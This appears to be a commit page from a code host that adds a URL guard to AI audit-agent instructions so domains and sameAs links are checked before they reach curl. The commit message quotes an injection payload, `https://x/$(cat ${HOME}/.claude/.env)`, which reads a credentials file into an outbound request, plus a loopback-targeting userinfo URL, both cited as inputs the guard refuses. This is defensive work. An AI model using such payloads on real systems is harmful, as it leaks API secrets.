feat(lib): H1 — url-guard, shell-injection + local-target refusal before curl
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+, geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the threat model completely: URLs then come from the TARGET'S OWN SERVER, so a remote file's bytes reach a shell. The severe hazard is injection, not SSRF. Those curls quote with ", inside which $ and backtick still execute, and ~/.claude/.env holds GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of `https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The test suite asserts exactly that payload is refused. Code, not prose: a markdown instruction does not stop an injection. Mirrors the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C locale, POSIX case: newline-proof, locale-independent, no grep pitfall. Allowlist over denylist per CLAUDE.md. Covers: shell metacharacters; scheme (http/https only — no file:, gopher:); literal loopback/private/link-local/metadata/.local; userinfo authority confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com). NOT covered, stated in the header rather than left silent: DNS-level SSRF. A public hostname resolving to a private address passes. Closing it needs resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU window. Proportionate to the threat model — this runs on a workstation auditing the operator's own client sites. Wired at all three entry points: both agents' STEP 4 domain assignment, and the W3 sameAs loop (whose URLs come from the audited repo, not the operator). Refused sameAs rows report as REFUSED rather than vanish — neither dead nor live, and an unguardable sameAs is itself a finding. Note: writing the test file tripped the config-protection hook (test suite is a guarded quality-gate). Used the documented one-shot sentinel with a reason rather than working around the gate; it was consumed as designed. Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded against the real zenquality.fr domain (accepted) and the real exfil payload (refused, exit 2).
This commit is contained in:
+18
-2
@@ -244,8 +244,14 @@ the PERMISSIVE template from `ai-crawlers-2026.md`.
|
||||
|
||||
### Live verification `[FULL only]`
|
||||
|
||||
**Guard the domain before it reaches a shell — mandatory, not optional.**
|
||||
`$DOMAIN` is interpolated inside double quotes below, where `$` and backtick
|
||||
still execute. Run the guard FIRST and use only its output; non-zero exit →
|
||||
STOP this step and report the refusal, never sanitise-and-retry.
|
||||
|
||||
```bash
|
||||
DOMAIN="<production-domain>"
|
||||
DOMAIN="$(bash ~/.claude/lib/url-guard.sh host "<production-domain>")" || {
|
||||
echo "STEP 4 aborted: domain refused by url-guard"; exit 2; }
|
||||
|
||||
# Verify robots.txt served
|
||||
curl -s "https://$DOMAIN/robots.txt" | head -50
|
||||
@@ -443,13 +449,23 @@ grep -rhoE '"sameAs"[^]]*\]' \
|
||||
--include="*.html" --include="*.astro" --include="*.tsx" --include="*.jsx" \
|
||||
--include="*.vue" --include="*.svelte" --include="*.php" --include="*.json" \
|
||||
. 2>/dev/null \
|
||||
| grep -oE 'https?://[^"]+' | sort -u | while read -r U; do
|
||||
| grep -oE 'https?://[^"]+' | sort -u | while read -r RAW; do
|
||||
# These URLs come from the audited repo's JSON-LD, not from the operator:
|
||||
# guard each one before it reaches curl. A refused entry is REPORTED, not
|
||||
# skipped silently — an unguardable sameAs is itself a finding.
|
||||
U="$(bash ~/.claude/lib/url-guard.sh url "$RAW" 2>/dev/null)" || {
|
||||
printf 'REFUSED %s\n' "$RAW"; continue; }
|
||||
printf '%s %s\n' \
|
||||
"$(curl -sIL -o /dev/null -w '%{http_code}' --max-time 10 "$U" 2>/dev/null || echo 000)" \
|
||||
"$U"
|
||||
done
|
||||
```
|
||||
|
||||
`REFUSED` rows are not dead links and not live ones — the URL never left the
|
||||
machine. Report them in §14 with the raw value: a `sameAs` carrying shell
|
||||
metacharacters or pointing at `localhost` is either broken markup or someone
|
||||
probing, and both are worth the client knowing.
|
||||
|
||||
**Read the codes honestly — a block is not a death.** Some platforms refuse
|
||||
non-browser clients: LinkedIn answers `999` (verified 2026-07-16 against a
|
||||
live company page). A naive check calls that dead and the bundle deletes a
|
||||
|
||||
@@ -250,8 +250,15 @@ the §14 observed-list. But under `/seo` the security headers themselves are
|
||||
out of scope for scoring: see the Technical axis note in STEP 9. Under
|
||||
`/harden` they are the entire job. Reading is not scoring.
|
||||
|
||||
**Guard the domain before it reaches a shell — mandatory, not optional.**
|
||||
Every curl below interpolates `$DOMAIN` inside double quotes, where `$` and
|
||||
backtick still execute. Run the guard FIRST and use only its output; if it
|
||||
exits non-zero, STOP this step and report the refusal — never "clean up" the
|
||||
value and retry.
|
||||
|
||||
```bash
|
||||
DOMAIN="<production-domain>"
|
||||
DOMAIN="$(bash ~/.claude/lib/url-guard.sh host "<production-domain>")" || {
|
||||
echo "STEP 4 aborted: domain refused by url-guard"; exit 2; }
|
||||
|
||||
# Headers
|
||||
curl -sI "https://$DOMAIN/" | head -30
|
||||
|
||||
Reference in New Issue
Block a user